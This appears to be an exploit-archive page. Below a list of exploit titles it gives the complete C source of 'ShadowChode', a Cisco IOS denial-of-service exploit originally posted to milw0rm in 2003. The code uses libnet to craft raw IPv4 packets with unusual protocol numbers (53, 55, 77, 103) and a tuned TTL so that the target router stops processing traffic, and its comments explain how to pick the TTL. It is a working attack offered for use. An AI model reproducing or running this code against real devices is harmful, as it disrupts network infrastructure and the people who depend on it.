477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
130 lines
2.7 KiB
C
Executable file
130 lines
2.7 KiB
C
Executable file
/*
|
|
* ShadowChode - Cisco IOS IPv4 Packet Processing Denial of Service Exploit
|
|
*
|
|
* Ping target router/switch for TTL to host. Subtract that number from 255
|
|
* and use that TTL on the command line. The TTL must equal 0 or 1 when it
|
|
* reaches the target. The target must accept packets to the given target
|
|
* interface address and there are some other caveats.
|
|
*
|
|
* BROUGHT TO YOU BY THE LETTERS C AND D
|
|
*
|
|
* [L0cK]
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <sys/types.h>
|
|
|
|
#include "libnet.h"
|
|
|
|
#define MIN_PAYLOAD_LEN (26)
|
|
|
|
#define CLEANUP { \
|
|
libnet_destroy(lh); \
|
|
free(payload); \
|
|
}
|
|
|
|
int
|
|
main(int argc, char *argv[])
|
|
{
|
|
char errbuf[LIBNET_ERRBUF_SIZE];
|
|
libnet_t *lh;
|
|
u_long dst_addr;
|
|
int ttl;
|
|
int payload_len;
|
|
char *payload;
|
|
libnet_ptag_t data_tag;
|
|
libnet_ptag_t ip_tag;
|
|
int i;
|
|
int len;
|
|
int protocols[] = { 53, 55, 77, 103 };
|
|
struct libnet_stats ls;
|
|
|
|
lh = libnet_init(LIBNET_RAW4, NULL, errbuf);
|
|
|
|
if (lh == NULL) {
|
|
(void) fprintf(stderr, "libnet_init() failed: %s\n", errbuf);
|
|
exit(-1);
|
|
}
|
|
|
|
if (argc != 3 || (dst_addr = libnet_name2addr4(lh, argv[1], LIBNET_RESOLVE) == -1)) {
|
|
(void) fprintf(stderr, "Usage: %s <target> <ttl>\n", argv[0]);
|
|
libnet_destroy(lh);
|
|
exit(-1);
|
|
}
|
|
|
|
{ /* OH WAIT, ROUTE'S RESOLVER DOESN'T WORK! */
|
|
struct in_addr dst;
|
|
|
|
if (!inet_aton(argv[1], &dst)) {
|
|
perror("inet_aton");
|
|
libnet_destroy(lh);
|
|
exit(-1);
|
|
}
|
|
|
|
dst_addr = dst.s_addr;
|
|
}
|
|
|
|
ttl = atoi(argv[2]);
|
|
|
|
libnet_seed_prand(lh);
|
|
|
|
len = libnet_get_prand(LIBNET_PR8);
|
|
|
|
/* Mmmmm, suck up random amount of memory! */
|
|
|
|
payload_len = (MIN_PAYLOAD_LEN > len) ? MIN_PAYLOAD_LEN : len;
|
|
|
|
payload = (char *) malloc(payload_len);
|
|
|
|
if (payload == NULL) {
|
|
perror("malloc");
|
|
libnet_destroy(lh);
|
|
exit(-1);
|
|
}
|
|
|
|
for (i = 0; i < payload_len; i++) {
|
|
payload[i] = i;
|
|
}
|
|
|
|
data_tag = LIBNET_PTAG_INITIALIZER;
|
|
|
|
data_tag = libnet_build_data(payload, payload_len, lh, data_tag);
|
|
|
|
if (data_tag == -1) {
|
|
(void) fprintf(stderr, "Can't build data block: %s\n", libnet_geterror(lh));
|
|
CLEANUP;
|
|
exit(-1);
|
|
}
|
|
|
|
ip_tag = LIBNET_PTAG_INITIALIZER;
|
|
|
|
for (i = 0; i < 4; i++) {
|
|
ip_tag = libnet_build_ipv4(LIBNET_IPV4_H + payload_len, 0, libnet_get_prand(LIBNET_PRu16),
|
|
0, ttl, protocols[i], 0, libnet_get_prand(LIBNET_PRu32), dst_addr, NULL, 0, lh, ip_tag);
|
|
|
|
if (ip_tag == -1) {
|
|
(void) fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(lh));
|
|
CLEANUP;
|
|
exit(-1);
|
|
}
|
|
|
|
len = libnet_write(lh);
|
|
|
|
if (len == -1) {
|
|
(void) fprintf(stderr, "Write error: %s\n", libnet_geterror(lh));
|
|
}
|
|
}
|
|
|
|
libnet_stats(lh, &ls);
|
|
|
|
(void) fprintf(stderr, "Packets sent: %ld\n"
|
|
"Packet errors: %ld\n"
|
|
"Bytes written: %ld\n",
|
|
ls.packets_sent, ls.packet_errors, ls.bytes_written);
|
|
|
|
CLEANUP;
|
|
|
|
return (0);
|
|
}
|
|
|
|
// milw0rm.com [2003-07-18]
|